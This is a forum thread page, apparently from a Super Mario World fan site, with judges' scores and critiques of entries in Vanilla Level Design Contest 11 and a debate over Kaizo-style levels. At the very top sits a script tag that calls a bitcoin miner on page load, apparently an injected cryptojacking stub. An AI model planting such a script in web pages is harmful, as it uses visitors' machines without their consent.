<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitymario fan games galaxy

Vanilla Level Design Contest 11 -- Happy New Year!!

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Mata Hari
Posts: 2224
Joined: 10 years ago

Re: Vanilla Level Design Contest 11 -- One of the tougher lines in picross

Postby Mata Hari » 1 month ago

Leet wrote: are ga deneb altair vega
gunter glieben glauten globen

User avatar
Mata Hari
Posts: 2224
Joined: 10 years ago

Re: Vanilla Level Design Contest 11 -- Two eyes with eyelashes

Postby Mata Hari » 1 month ago

although I don't think it ruins the level overall I think it's way too easy to misinterpret that setup in Boney Basin and raocow shouldn't have bothered to try to defend it

User avatar
FPzero
Resident SMW Central Admin
Posts: 476
Joined: 10 years ago

Re: Vanilla Level Design Contest 11 -- Two eyes with eyelashes

Postby FPzero » 1 month ago

85th (tied), SUGARLESS CAVE, by tcdw
50.00/100.00 points
Scores:
FPzero:
Design: 34/60
Creativity: 16/30
Aesthetics: 6/10

Total: 56/100

Comments:
It was pretty strange how the path sort of splits after the midpoint if you have the blue switch pressed, since you can just choose to fall down and take a whole different way. That'd be neat, but it's completely unmarked that such a path exists, and I only found it because I fell down at random. The second half also felt pretty short, since if you fall down you just go in a pipe, hop some podoboos, and then come out of the pipe and walk about three screens to the exit. No powerup at the midpoint felt bad but not hard since the level was pretty easy overall. I didn't like how the buzzy beetle by the midpoint walks with the perfect timing to fall on you as you're trying to do the wall run since you activate his positioning when you get the P-Switch.

I think the level needed more focus. The first half had the raft ride and wall run, the second half had some hanging platform platforming to do and the secret steam cave had podoboo hopping. But all existed in isolation so the level just felt like a sampler of cave ideas. On the other hand, I liked how the steam cave looked with that layer 3 added. Overall it wasn't that bad but it wasn't very strong either. Combine your ideas and let them work with each other, not in isolation.
Ryaa:
Design: 28/60
Creativity: 12/30
Aesthetics: 5/10

Total: 45/100

Review:

This level actually sat pretty well with me. I love the music and it really gives the level a memorable atmosphere. The gameplay however isn't as atmospheric to match this very energetic music, though it still does the job. I think that the level in general, while pretty simple in gameplay, could have been a lot longer as the part after the midpoint can be completely very quickly without much challenge. My only issue with aesthetics is that the teal colored ground doesn't contrast as well with the bright red and orange colors in the lava. Though this isn't too much of an issue for me. Generally I think this is a pretty okay level with a lot of potential to be pushed forward into something greater.
FrozenQuills:
-------------------
DESIGN | 34/60
CREATIVITY| 11/30
AESTHETICS| 7/10
TOTAL | 52/100
-------------------

COMMENTS:
tbh i dig the color choices here

A pretty generic cave level. It features chucks and cave enemies without
overwhelming the player. I'm not a huge fan of the buzzy beetle suddenly dropping
from the heavens before the midpoint.

There's a secret path if you're trying to get dragon coins, but there's no real
indication of it other than seeing the blue switch block bridge after you drop off
from the top area. It just features some podoboos though.

Yeah, not much else is memorable aside from those few things I mentioned.
morsel:
30
10
7
47/100
Not bad, but there was not much going on in the level. I am not sure how clear it was where you are meant to hit the p-switch (a beetle may drop on your head while you are wall-running as well); anyway, it seemed out of keeping with the rest of the level. There was an interesting steam effect in one of the side-areas--it might have been better to build the main level around that notion.
85th (tied), Cloudcracker Ruins, by kamekku14
50.00/100.00 points
Scores:
FPzero:
Design: 33/60
Creativity: 15/30
Aesthetics: 6/10

Total: 54/100

Comments:
I have no idea what was wrong with it but the long rope in the second half only functioned on the top half of it. You could not climb the bottom half; it was acting like it was a short rope. I've never seen something like that before. Thankfully, the way that whole rope ripe was designed, I basically didn't have to move mario away from the very top of the rope, which is kind of poor design on its own since the player can just sit there and do nothing to get past it. Additionally in the second half, you really shouldn't have used floor grinders because they go behind Layer 3, meaning that they disappear or appear unfairly as well as make no visual sense. The goomba pillars were also inconsistent, with some of them being tiles you can stand on and others being passthrough. I just stopped using them as platforms because they were unreliable.

It feels like the level lacks some final polish and testing in places, especially that long rope. It looked and sounded ok, but there wasn't much to the level's actual design. It was mostly just straightforward platforming across some clouds with a line guide or two, a lot of coins, and lots of powerups in the first half (but only one in the second). Could've been longer and stronger definitely. A better focus on the line guides could've helped.
Ryaa:
Design: 30/60
Creativity: 10/30
Aesthetics: 6/10

Total: 46/100

Review: Where can I start here... Basically the way I feel about this level is that it has some very weird aesthetic choices. It's clever to have the main bricks on Layer 2 in order for the Clouds on Layer 1 to show up in front of them. Though it seems like the creator of this level also messed around with Layer 3 shenanigans and placed the background clouds there. I'm not sure what logical reason there was to do this and there was a point where I actually noticed it when a grinder went behind it and seemingly disappeared until it hit me. The only other things I would say that confused me aesthetic wise could either be how bright some of the graphics were or the fact that some pillars with Goomba statues on them had solid tops while others didn't. It was a weird choice that I'm hoping wasn't done on purpose.

In regards to the actual level design though. I was pretty okay with the parts before I reached the line-guide sections. I didn't really have any fun playing them due to the fact that you can pretty much skip both completely by remaining at the top or bottom of the spots you're holding onto. Generally I would say I had an average time playing but I can see that the end parts are rushed.
FrozenQuills:
-------------------
DESIGN | 28/60
CREATIVITY| 11/30
AESTHETICS| 7/10
TOTAL | 46/100
-------------------

COMMENTS:
Image

There are a few things in this level that leave me a bit confused.

The first half is rather alright. It's pretty much your average cloud level.
Though, I don't think the goomba statues should have a solid ledge as that tripped
me up a few times.

The second half is where things fall apart. You have to enter the doors through the
doorframe apparently. I don't think the saws going behind the clouds is
intentional. Same with the empty line guide. Finally, the rope part has this issue
where the bottom half of the rope doesn't exist but the top half does; I hope this
isn't a baserom issue. This didn't really matter too much in the end, since there's
this enemy pizza party near the bottom of the screen and I can just chill on top of
the rope. It ends up being a bit boring.

The issues in the second half really brought the design score down, unfortunately.
morsel:
35
10
9
54/100
Very attractive foreground and very pretty colours. This level is too carelessly made to score very well. I can stand on some of the plinths with the goombas but not others. All the doors are strange to enter. The grinder goes behind the background. There is a grey platform above an empty line guide. There are other empty line guides later. I do not know why, but climbing down on the moving rope sometimes makes me fall off it (and not when getting hit). You can just stay at the top of the rope for almost all of the ride. Item memory destroyed the message in coins at the end.
84th, BONEY BASIN, by Sparky
50.50/100.00 points
Scores:
FPzero:
Design: 31/60
Creativity: 16/30
Aesthetics: 5/10

Total: 52/100

Comments:
This level was very short, so it was hard to really get invested in it. I liked how you were doing the "going down" type of level pretty well, but it very quickly hit the midpoint and transitioned into a short water level. The only thing really unifying the two halves were the titular bones, but those are purely graphical and could be replaced with any other tiles and maintain the same design. It feels like the level wasn't sure what it wanted to do, so it did a couple different things, but was afraid to commit to any of them for too long and so all the parts were very short. Oh, and your downwards pipe transitions were not placed correctly, a sign that you might not have tested your level very thoroughly. Overall, it just didn't do that much as a level, and began and ended so fast that it's hard to form much of an opinion on it.
Ryaa:
Design: 43/60
Creativity: 16/30
Aesthetics: 4/10

Total: 63/100

Review: After playing this level a few times, I'm pretty set on my feelings about it. Even though it's a tadbit bland on the actual design aspect, it's a very solid level with a low amount of faults. The thing I don't like that I was noticing a lot in the cave section especially was that there are a few jumps that aren't choreographed well. This issue isn't something that makes the level unfun or anything. The one thing here that I can say I didn't enjoy was the midpoint placement. It's something that's easily skippable on the first run since you don't fall off towards the midpoint but rather the exit pipe. The water section is also pretty solid though to make it through even though I like the way you've constructed the exploration aspect should the player decide to.

All in all, I think this level is pretty simple and neat for what it is though it could use more things to make it feel unique.
FrozenQuills:
-------------------
DESIGN | 33/60
CREATIVITY| 13/30
AESTHETICS| 6/10
TOTAL | 52/100
-------------------

COMMENTS:
very chill for all the dead things everywhere

A standard level with two very different themes. The first is a rather deadly cave
with lava and enemies in close quarters. It's easy, but not ambitious. But the
second is just a SMW water level. It's pretty average yet provides exploration with
dragon coin collecting.

It's a safe effort for sure, so this gets a safe score.
morsel:
25
5
5
35/100
This level does not quite come up to the vanilla SMW standard, in my opinion. It feels empty in parts in the cave. It is natural to jump up from the skull raft to see what is up there, but then the raft is despawned. The ride lasts for a screen. In an almost completely vanilla tileset, donut blocks act like ledges.
The nice thing about people getting overall better at SMW hacking is that even the lower-placing levels are usually competent if unambitious or otherwise flawed in some way. Of course, this doesn't always make for good TV so we're probably entering a period of time where a lot of levels might feel of similar, inoffensive quality. That's usually how these contests go but I'd rather have a lot of okay levels than lots of outright bad ones.

User avatar
Kleetus
Posts: 170
Joined: 9 months ago
Location: Under a starless sky (due to light pollution)

Re: Vanilla Level Design Contest 11 -- Two eyes with eyelashes

Postby Kleetus » 1 month ago

"GO LEFT. YOUR OTHER LEFT." Made me smile far more than it should have.

User avatar
raocow
the death of the incredible huge
Posts: 2962
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: Vanilla Level Design Contest 11 -- Two eyes with eyelashes

Postby raocow » 1 month ago

two hours fourty minutes, savestates during the last hour
like the level is amazing but it grounded me down to the core, at some point I was just savestating because I was exhausted and couldn't concentrate :I
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
FPzero
Resident SMW Central Admin
Posts: 476
Joined: 10 years ago

Re: Vanilla Level Design Contest 11 -- Two eyes with eyelashes

Postby FPzero » 1 month ago

I applaud you for attempting it without savestates. Don't feel bad about it. I didn't even beat the level in judging but I'll have more words about that tomorrow.


83rd, LOOPYLABYRINTH, by Caracc
51.00/100.00 points
Scores:
FPzero:
Design: 46/60
Creativity: 18/30
Aesthetics: 8/10

Total: 72/100

Comments:
I don't know what it was, but something about the way this level looked, was built, and was populated by relatively few enemies really made it feel like a labyrinth, and I can't really explain why. As it turns out, the level is fairly linear and only gets a bit non-linear if you go for the Yoshi Coins. Perhaps it was the abundance of pipe transitions that gave the feeling of getting lost because you're never really certain where you are after a transition until you recognize some element of the level you've already seen. Or maybe it was the long diversions for most of the Yoshi Coins. Oh, and let me quickly complement your choice of the wall springboards for climbing vertical walls because I think they helped navigate this very vertical level nicely.

I'm really torn here because this level was, strictly speaking, very simply designed, but it manages to feel more like a maze than I would've imagined without actually being frustrating or confusing in its layout. I'll go one step further and say that despite my initial uncertainty towards the graphics used here, I think the abstract background, low detail foreground, and very secondary colors palette manages to create an aesthetic that enhances the feeling of getting lost.

I don't know how other judges will agree with me on this because it could very well come down to purely personal feelings here, but there was something about this level that I just really liked in spite of its simpler design and sparseness of enemies. The level more than anything really evokes that feeling of being lost without ever actually letting the player be truly lost, all by using a lot of pipes and side paths to give them things to explore without exactly knowing where they are in the "maze". And I think it felt really good because of it.
Ryaa:
Design: 20/60
Creativity: 17/30
Aesthetics: 5/10

Total: 42/100

Review: I'm very surprised to see that more people are using the tall horizontal level type. I do think that what this level attempted to do with the background was pretty cool but the palette isn't too fun to look at. The colors do blend together well but it just doesn't really have anything eye capturing. The actually level itself is pretty short and simple with aspects you'd pretty much see in a normal SMW level. What I don't really like is that the reset pipes aren't properly indicated so you could go into a pipe thinking it leads to another area and then you'll just end up back at the beginning of a section which isn't too fun to deal with.
FrozenQuills:
-------------------
DESIGN | 30/60
CREATIVITY| 13/30
AESTHETICS| 8/10
TOTAL | 51/100
-------------------

COMMENTS:
nice background yo

This was okay. It's pretty wide open and sort of empty, and it feels too easy as a
result. Luckily, there are a few enemies and some springy platforming. It's also
more fun to get the dragon coins than go straight for the exit.

The second half is less than stellar. It's a simple fetch quest for two p-switches
which felt like filler, especially since you loop around back to where you were.
There are also even fewer enemies.

Basically, this level is a bit mediocre in some areas, but it's mostly average.
morsel:
25
10
4
39/100
It did not feel very labyrinthine; I never felt lost. The way forward is mostly clear and directly ahead, except at the one part where you have to loop once to get both switches (and here, it may be harder to find the reset pipe than the way forward). Perhaps I am being misled by the level name, but there was not much to the level beyond this exploring aspect (e.g. sprites could have been used more adventurously). Mostly it uses an abstract background with the normal cave foreground; it uses a normal background in another part of the level. The foreground palette is not great.
80th (tied), NIGHT GRASSLAND, by monkey03297
51.25/100.00 points
Scores:
FPzero:
Design: 38/60
Creativity: 17/30
Aesthetics: 6/10

Total: 61/100

Comments:
This is a relatively short level that doesn't even have a midpoint in it, but the difficulty is low enough that you don't really need one. It has two paths, and all but one Yoshi Coin is on the upper one, giving you an incentive to try and stay high up there. However, I didn't really find a good way to actually get up to the upper path without a feather, which can only be grabbed later in the level right near the goal. If there is a path up there that doesn't require the feather, it's not obvious. I think the level could've benefitted from more variety and probably a bonus sublevel, but there were the beginnings of ideas here. Using the Banzai Bills in conjunction with the sloped hills and Time Lifts was a good start, but they weren't used more than once each. There was some climbing, some water, some triangle block use, but all were used only once for the most part and so this level feels more like a sampler of level elements than a cohesive level. Still, I think the upper and lower path split was a good idea with proper reward for staying up there, but needed a better way to get up to the upper path and overall some more length and variety.
Ryaa:
Design: 26/60
Creativity: 13/30
Aesthetics: 4/10

Total: 42/100

Review: I'm a little weirded out by this level. The palette is nice and the flow is somewhat smooth, but the level itself feels so incomplete. The map16 usage felt very messy and unfocused (specifically in parts where the dirt tiles extend dramatically in diagonal directions). While they don't obstruct any part of the actual level design, I think that having that sort of "all over the place" aesthetic design isn't healthy for the overall look of the level.

The actual level design itself is very short and cut off in a way where it almost feels like the level either wasn't finished or just didn't have as much solid effort put into it as it could have. I wasn't really a fan of how the top path is a tad bit shorter than the bottom half yet it does nothing to feel challenging in any way when compared to the simplicity of what you have to do in the bottom half. It seems that the upper portion is supposed to be trickier to stay on yet all it does is take you to where you would have gone anyway had you walked a good 2 extra screens taking the "easier" bottom half.

Even though I feel the way I do here, I don't think the level is just outright "bad" or anything like that. It just needs heavy work to actually feel like a unique level that isn't just a random assortment of basic concepts that work in that moment and don't contribute to any sort of overall goal for the level.
FrozenQuills:
-------------------
DESIGN | 37/60
CREATIVITY| 13/30
AESTHETICS| 6/10
TOTAL | 56/100
-------------------

COMMENTS:
night landmasses in the sky

A decent exploration-based level. The distinguishing feature of this level is that
it has an upper and lower path. I like that the upper path is a bit harder and has
all the dragon coins. Interestingly, the level has no midpoint, but it didn't feel
short with all of the side content.

I got hit by an offscreen koopa at one point, but otherwise the level doesn't
really have anything bad. It probably has too many powerups.

There isn't much new here, but the level makes good use of all the extra space one
can have in lunar magic 3.0.
morsel:
35
5
5
45/100
Many mole holes. No moles. The level is short and undeveloped. Sprites seem to be decorating the landscape. Some things are out of place even then (near the start, you land on the red para-koopa and the banzai runs into you). It was missing something to make it special.
80th (tied), Flying Fish Fort, by Fostelif
51.25/100.00 points
Scores:
FPzero:
Design: 34/60
Creativity: 16/30
Aesthetics: 5/10

Total: 55/100

Comments:
This level had promise in its concept, but it doesn't really do anything interesting with the flying fish. The blurps are basically just slower Eeries and the rip van fish are nowhere near as dangerous out of water. Using only these few types of water enemies that function out of water meant that there wasn't really any interest interactions between them and normal land enemies either. So most of the challenge was just spinjumping on a couple moving fish to cross spike gaps. But even that challenge was negated by the addition of feathers. It feels like this level just didn't test its concepts or ideas well enough, and so you end up with a functional but not very inspired level that's only okay at its heart.
Ryaa:
Design: 20/60
Creativity: 10/30
Aesthetics: 2/10

Total: 32/100

Review: What really disappoints me is that this song adds so much mood to this level but there are no aesthetics to match it. The level is generally has a pretty basic design which isn't really good or bad to me. I just feel like there should have been something to make the level feel more than what it actually was. The edition of the Reznor boss made the level feel a bit weird to me since it makes no sense that the theme of the level is "flying fish" yet nothing involving that is included in the boss. Thankfully, despite the simplicity of the level design, there is nothing in this level that made me want to pull my hair out. Hopefully next time the creator can really utilize aesthetics and better level design to match the music and make the level shine.
FrozenQuills:
-------------------
DESIGN | 40/60
CREATIVITY| 16/30
AESTHETICS| 6/10
TOTAL | 62/100
-------------------

COMMENTS:
marco polo

A level that really felt like it was from the original game. It's simple, and the
creativity comes from using fish enemies out of water unconventionally. The
megaspikes in the 2nd half aid in creating a difficulty curve.

The level doesn't really have anything wow worthy or super fun unfortunately, but
the design doesn't commit any mistakes and it ends up being pretty enjoyable.

In the end, it nails the polish and simplicity of a SMW level.
morsel:
40
10
6
56/100
A very creditable level in its straightforwardness. It could have been a little more ambitious.
As I guessed, the other judges didn't see Loopy Labyrinth the way I did. The Max-Min for the level was 33, a really high value. But that's fine, since we talked about it and ultimately decided to let me keep my score as it was since I felt strongly about it. If you could back up your reason for heavily liking or disliking a level when the other judges were more or less similar in their scores, we let those outliers through. We'll see the level with the highest Max-Min value in a few days...

User avatar
Grounder
Posts: 3320
Joined: 5 years ago

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Grounder » 1 month ago

Maybe if you're psychic.
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
Clyceer
Posts: 26
Joined: 4 years ago
Pronouns: he/him/his

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Clyceer » 1 month ago

I'm guessing the "Theoretically beatable on the first try" was just to say "you didn't have to beat the level by getting the Dragon Coins and then dying so don't dock points for the timer reset"? Not that I'm sure how one would do that, but the level author who put the text there definitely knows more than me about SMW.

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 1005
Joined: 6 years ago
Location: the world is no longer a place

Re: Vanilla Level Design Contest 11 -- A one and another

Postby BobisOnlyBob » 1 month ago

Clyceer wrote: I'm guessing the "Theoretically beatable on the first try" was just to say
It's an in-joke; a reference to one of the author's previous infamously hard levels that at the time they were quite defensive about, but apparently they've mellowed out (and changed username since then).

Of course I say mellowed out, but wow this level. Quite something. Very good, but I agree with the sentiments from Youtube that this belongs over in KLDC, this is just.. much too much.
BOB is an acronym for BOB is Only BOB etc.

User avatar
SpoonyBardOL
Posts: 103
Joined: 6 years ago
Location: Newfie Land

Re: Vanilla Level Design Contest 11 -- A one and another

Postby SpoonyBardOL » 1 month ago

Haha wow, I usually watch raocow's morning video on my lunch break, but I couldn't quite fit this one in!

User avatar
FrozenQuills
undefinable flair 2019
Posts: 783
Joined: 4 years ago
Location: my skull

Re: Vanilla Level Design Contest 11 -- A one and another

Postby FrozenQuills » 1 month ago

this is how i felt about today's level
Image
Image
Image
Image
SMBX Tileset Compiler and Separator
The boss entry that made me eat a shoe.
Image

5th place counter: 5
(SMBX Forums CC11, SMBX Forums CC12, Endgame Madness Contest, SMWC Kaizo Contest 2016, SMWC 24hr Contest 2018)

User avatar
Zephyr_DragonLord
The dragon awakens...!
Posts: 887
Joined: 4 years ago
First name: Zach
Location: Somewhere between dreams and dormancy

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Zephyr_DragonLord » 1 month ago

Seems like a natural reaction. As for my opinion... this level's well-made enough, but it's hard to both get into the headspace it wants you to be, and then execute some of the trickier manuvers. And as such, seeing it down here is not too large of a surprise simply due to sheer difficulty. I have no problems with it existing, but if this was hard split into 3 parts, this would be somewhat managable for a player of above-average skill. Also the level doesn't look the best, but that's most levels of this breed. Kaizo levels that look good are a rarity, even today...
Last edited by Zephyr_DragonLord on 25 Oct 2019, 16:34, edited 1 time in total.
I am prone to almost everything... except spontaneous violence.
Any questions, concerns, or aspirations you have with me can go to the PM box... Now here's a quote:
raocow wrote:I know there is a population on Earth. They like to populate. I like to gesticulate. We're friends!
Image
(It was about time)

Implo
Posts: 154
Joined: 1 year ago

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Implo » 1 month ago

Mountan Castle is the hardest level in this contest. It looks good and it's very creative. I liked tutorial section despite dying and "hold B always" section near the end. These 2 parts of the level were the best for me.

What I didn't like? Other than crazy hard difficulty I didn't like dying in tutorial zone. I know it's connected to dragon coin checkpoint, which I also don't like. The reason was shown in raocow video. If you don't collect all dragon coins in last jump, then you are going back to tutorial where you die. Otherwise you can continue.

For me this 4 dragon coin jump was very hard. I admit I was doing it wrong. I tried to squeeze between thwomps, because while Yoshi glitch actually teach about teleporting through tiles, I didn't know it also teleports Mario through sprites. And collecting 4 dragon coins made this jump super hard for me.

There are levels that use "get checkpoint, then die to continue level" gimmick. But in this one going back to tutorial and dying there meant that level is broken and can't be completed. All I needed to do was to reenter the level, which I did 1 hour of rest later after figuring out that maybe I triggered dragon coin checkpoint. Because it's not obvious.

And since Yoshi glitch is presented into tutorial, the note block glitch should also be put into tutorial. These teleporting note blocks are crazy and it really cought me off guard.

I also didn't like thwimp filter at the beginning. Fire Flower is only needed for shooting plant near it and that's all. At this point I thought that author gives me a leeway and then in next section I just died. Just like raocow shown in his video. The thing is player can't know that Fire Flower is needed after first plant. It's not indicated at all. That's why it feels unfair.

In water section I don't like that lower part of upside down water isn't swimmable. This is something that screwed me a lot.

At the end of water section is feeding Yoshi part. Despite many deaths I managed to beat it quite easily on my first run. But on my second playthrough I had huge bad luck. I was eating shell and 2 koopas and apple perfectly and apple. And Yoshi refused to grow. I tried few times, then I watched author video to find out that he's eating the same sprites. So I was doing the correct stuff, but somehow failing. It was quite mysterious. After many tries of doing the same stuff Yoshi finally grew. I have no idea what I did differently. I suspect that Yoshi need to double eat one of the sprites or apple. But I have no idea how to control that. For me it was really random.

Math platforms is something that stopped my first run. I was so exhausted that I just couldn't think about solution. Before second playthrough I watched author video how to solve it. And if you know what to do, it's not that hard.

And by the way, raocow, you are wrong. This isn't troll level. I actually thought it's a troll level and it should be submitted to KLDC instead. Boy, he was angry. I apologized and in summary he told me that Kaizo contest allows chocolate stuff, so level would be created in completely different way. Besides there is no rule forbidding submission of kaizo levels into VLDC. And level has been created for fun and as a glitch showcase. And that's why it's not a troll level.

User avatar
Piesonscreations
Posts: 497
Joined: 4 years ago
First name: Gon
Pronouns: he/him/his

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Piesonscreations » 1 month ago

This seems like one of those levels that need to be played at half speed to just take in everything that's going on.
Image

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 1005
Joined: 6 years ago
Location: the world is no longer a place

Re: Vanilla Level Design Contest 11 -- A one and another

Postby BobisOnlyBob » 1 month ago

Piesonscreations wrote: This seems like one of those levels that need to be played at half speed to just take in everything that's going on.
and watched at double speed to fit it into lunch! :lol:
BOB is an acronym for BOB is Only BOB etc.

User avatar
FPzero
Resident SMW Central Admin
Posts: 476
Joined: 10 years ago

Re: Vanilla Level Design Contest 11 -- A one and another

Postby FPzero » 1 month ago

80th (tied), Mountan Castle, by jesus
51.25/100.00 points
Scores:
FPzero:
Design: 5/60
Creativity: 27/30
Aesthetics: 4/10

Total: 36/100 (Did Not Finish)

Comments:
I give up, I just can't finish this level. I've spent over an hour trying to get through it using savestates even because the difficulty is so unbearably brutal, and I cannot figure out what is asked of me to get in the pipe after carrying the baby Yoshi. And looking ahead I have *another* segment still to do before the end? No, I give up. I can't do this any longer.

The level is creative like crazy, using a ton of glitches in an all-out gltich celebration to make its design. But this level is just not fun at all, at least not for me. I don't know all the glitches going on here and had to learn a bunch along the way. It's so brutally difficult, there's no time to breathe, the extra midpoints are nothing but hollow reassurances because all they end up indicating is that there's more insanity still to come. Parts of it are cool like the section after the proper midpoint because you have to rush through all sorts of crazy obstacles but it just asks so much of the player. It'd be right at home in a Kaizo Contest, but this is VLDC. Submitting Kaizo is a gamble, and this one didn't pay off for me at all.

My hands hurt. I gotta take a break.
Ryaa:
Design: 15/60
Creativity: 30/30
Aesthetics: 6/10

Total: 51/100

Review: Welp, I guess it's appropriate for me to say once more that this is probably not the right contest to submit this kind of level. The level is really fun but makes it seem like one of those that should have been in a KLDC. The concept of using the warp mechanic as a teleportation ability while mashing it with other things like water and gate climbing is neat. Though on a Vanilla Contest scale, this gimmick is not convenient at all for the average vanilla player.
FrozenQuills:
-------------------
DESIGN | 10/60
CREATIVITY| 30/30
AESTHETICS| 9/10
TOTAL | 49/100
-------------------

COMMENTS:
1F8 sequel anyone?

I'm pretty sure if this is done perfectly, it looks really spectacular and
satisfying to pull off. However, this is waaaaaay too difficult for a vanilla
contest. It will take so many deaths to figure out everything in this level.
Honestly, this could win a kaizo contest, and I think I know who built this.

Top notch creativity as a whole though. The aesthetics are nice too.
morsel:
30
30
9
69/100
An admirable attempt to combine various warping/wrapping effects (green springs, layer 2 noteblock, invisible yoshi, fireballs and sprites wrapping from the top of the screen, and the invisible warp sprite), this level sets an obvious benchmark in creativity. The major knock on its score is playability. We are used to playing stuff like this with instant retry; having to go to the overworld and transition through pipes was a bit of a nuisance here, and I only enjoyed the level (and was motivated to finish it after reaching the first checkpoint) by giving myself instant retry and making savestates at the section entries. The level is much more re-playable than it is playable. It is a moot question how far I should penalise the level for being designed outside the vanilla retry constraints; I arbitrarily decided on giving it half of what I would have given it otherwise. Even in the circumstances, I would have given it a much higher score if there was less level (just the first area, or with an area you could play immediately after a vanilla midpoint). Still, I enjoyed it tremendously. Nitpicks: the fast shove warp sprite seems to kill me sometimes; the green coin is not a great graphical tile for its effect (no, I can't suggest a better); the water interaction is a tile short of its graphic. Unethical Aesthetic: wrong tile for 1F0.
A divisive level for the judges. If I'm reading morsel's comments right he originally intended to give the level a 99/100 but cut the Design score in half because the fact there is no retry system like in actual kaizo levels destroys the flow of it. Meanwhile, I didn't even finish the level because I couldn't figure out how to get in the third section's pipe after growing the yoshi. It didn't occur to me that he'd turn invisible and exist wherever he got grown. And I think that hurts the level to an extent because it is so reliant on the player understanding the sheer magnitude of glitchiness that exists within vanilla SMW. Eventually I did beat the level in my own LP (not linking because the first or two videos contains a level raocow hasn't seen yet) but I certainly didn't do it savestateless.

As I played it more, as I thought about it more, I think I might have scored it a little bit higher towards where Ryaa and FrozenQuills scored it, but the level is still one that really doesn't fit in VLDC. And I think the fact that I did not finish the level needed to be accounted for in the scoring. Too brutal for me to finish at the time.

I think the third section is my favorite because it has this incredible sense of speed and flow for most of it. You're basically going at a breakneck pace for the majority of the level weaving in and out of pushing tides and between all kinds of large enemies. It's kind of a thrill honestly.

It's a cool level, but it just doesn't fit this contest very well, and placing in the lower half of it seems appropriate.

User avatar
Ignoritus
O◡O
Posts: 206
Joined: 7 years ago
Pronouns: he/him/his
Location: U.S.

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Ignoritus » 1 month ago

Apparently this is a controversial opinion but I'm gonna say it:

This level was bad.

Like, I get it, as a construct it's really cool. It's a very elaborate setup and run right it looks very impressive. But as "a level in a videogame" it's a trainwreck. There's cognitive speed, and there's reflex speed. Those are two very different speeds and it is virtually impossible to challenge both of them at the same time. This level tried to challenge both simultaneously at the pace of your reflex speed. You needed every movement to occur at just the right time with tight movements or you lose. At the same time you need to deduce what your next movement is in real-time as pieces of the level are revealed. This would be virtually impossible in a normal level (as evidenced by that level raocow struggled with a few days ago that had the same problem), but it was triply so here due to the use of glitchy and counter-intuitive mechanics. As a result, this level truly is only possible on a first try "theoretically". The normal person literally *cannot* beat this level without knowing everything that's coming in advance because the reaction speeds required are faster than it's possible to mentally "solve" the route. This level was exhausting to watch because every time a bit of new screen was revealed I'd have to sit there and try and figure out what in hell the level expected you to do. Doing that while playing is impossible.

So basically, this level by definition required you to die repeatedly over and over to make any progress. I know Kaizo fans are a thing, but outside of a niche fanbase this is pretty much a universal qualifier for "a bad level", especially when the context is definitely not a Kaizo contest.
Image

User avatar
Peliptia
(ˈpe-lip-SHēə) / [ˈpɛ-lɪp-ʃiə]
Posts: 178
Joined: 7 years ago

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Peliptia » 1 month ago

ahhilikethislevel its so super imaginative! like the [⟫⟫⟫⟫] horizontal warpings block〜the bizarre invisi-yoshi jumps〜the ⟪no things pass·through·able block⟫ ahhh its all so good*₊˚⁎ i get it, i fully get its issues.. major ones... but ahh its soo neato to watch⁛.⁙ like major majors props to rao for recording this nightmare⚟ i have no clue how any of these obstacles were done but i love loved what was done today#♡ ♡
ImageImage
Image

User avatar
Sanct
The President
Posts: 118
Joined: 5 years ago
Pronouns: she/her

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Sanct » 1 month ago

I'm not really gonna bother defending my argument past this post but I just wanna put this out there.

I disagree with anyone saying that this is "Not the right contest for this sort of level" because, nowhere is it stated, that this is a contest for a specific ideology of level design, kaizo is a different way to design a level, yes, but why should it mean that a kaizo level doesn't fit in a contest for which the only stipulation is that the level has to be vanilla, just like how this adds a layer of creative challenge to orthodox methods of creating levels it is also the case for levels which fall into different category of level design. Therefore, why should an entire way of designing a level be considered wrong for a contest which doesn't state anything about how you should design a level.

I'm sorry if this post is kinda a mess but it's friday night and I'm tired, if anyone wants clarification I'll try to reword it but I'm not looking to argue my point to anyone who disagrees, I'm not trying to convince anyone, I'm just putting my opinion out there.

(For the record, in case anyone cares, I don't play kaizo)
Also known as Sancles

My Children
ImageImage

User avatar
FPzero
Resident SMW Central Admin
Posts: 476
Joined: 10 years ago

Re: Vanilla Level Design Contest 11 -- A one and another

Postby FPzero » 1 month ago

Well sure, the contest didn't disallow Kaizo levels, but in general most VLDC judges are not Kaizo-judges, meaning it's heavily discouraged to submit a Kaizo level because they won't be able to score the level properly. Of course, this can get into a whole different argument about how we should or should not be building levels to appeal to specific judges if you know who they are and their judging/playing history. So when we say that it doesn't really fit the contest it's because we aren't going to be able to play, think, and score a Kaizo level appropriately compared to our ability to score "regular" levels. That's how I've always thought of it.

(To some extent it also stems from the fact that when the contest was started back in 2008, Kaizo was barely a thing yet. Kaizo levels were also not even allowed on the site until the early 2010s, so there's always been a feeling/tradition of "don't submit Kaizo to the contest unless you don't care that it scores really poorly.)

We're considering straight up disallowing Kaizo levels in the future but we haven't come to a conclusion on it yet. But I know for a fact that the judges currently going through the levels for the Baserom Level Design Contest right now are not happy to be encountering Kaizo levels they don't enjoy playing and can't score properly.

edit: I'm not trying to argue with you either. I'm just in the unique position to give actual insight into the judging, rules, and contest history as the contest's original creator all those years ago.

User avatar
Ignoritus
O◡O
Posts: 206
Joined: 7 years ago
Pronouns: he/him/his
Location: U.S.

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Ignoritus » 1 month ago

